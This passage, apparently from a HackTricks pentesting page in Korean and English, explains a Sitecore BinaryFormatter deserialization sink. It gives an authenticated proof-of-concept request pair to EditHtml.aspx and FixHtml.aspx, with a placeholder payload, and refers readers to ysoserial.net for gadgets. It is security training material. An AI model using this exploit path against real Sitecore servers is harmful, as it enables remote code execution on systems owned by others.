- Sink API: `Sitecore.Convert.Base64ToObject(string)`는 `new BinaryFormatter().Deserialize(...)`를 래핑합니다.
|
||||
- Trigger path: 파이프라인 `convertToRuntimeHtml` → `ConvertWebControls`는 `id="{iframeId}_inner"`인 형제 요소를 검색하고 base64로 인코딩된 직렬화된 데이터로 처리되는 `value` 속성을 읽습니다. 그 결과는 string으로 캐스팅되어 HTML에 삽입됩니다.
|
||||
|
||||
최소 end‑to‑end (인증된):
|
||||
```
|
||||
// Load HTML into EditHtml session
|
||||
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
|
||||
<html>
|
||||
<iframe id="test" src="poc"></iframe>
|
||||
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
|
||||
</html>
|
||||
|
||||
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
|
||||
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
|
||||
```
|
||||
- Gadget: string을 반환하는 모든 BinaryFormatter 체인(부작용은 deserialization 중에 실행됩니다). YSoNet/ysoserial.net을 참조하여 payloads를 생성하세요.
|
||||
|
||||
For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/sitecore/README.md
|
||||
{{#endref}}
|
||||
|
||||
## 참고자료
|
||||
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
|
||||
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
|
||||
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
|
||||
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user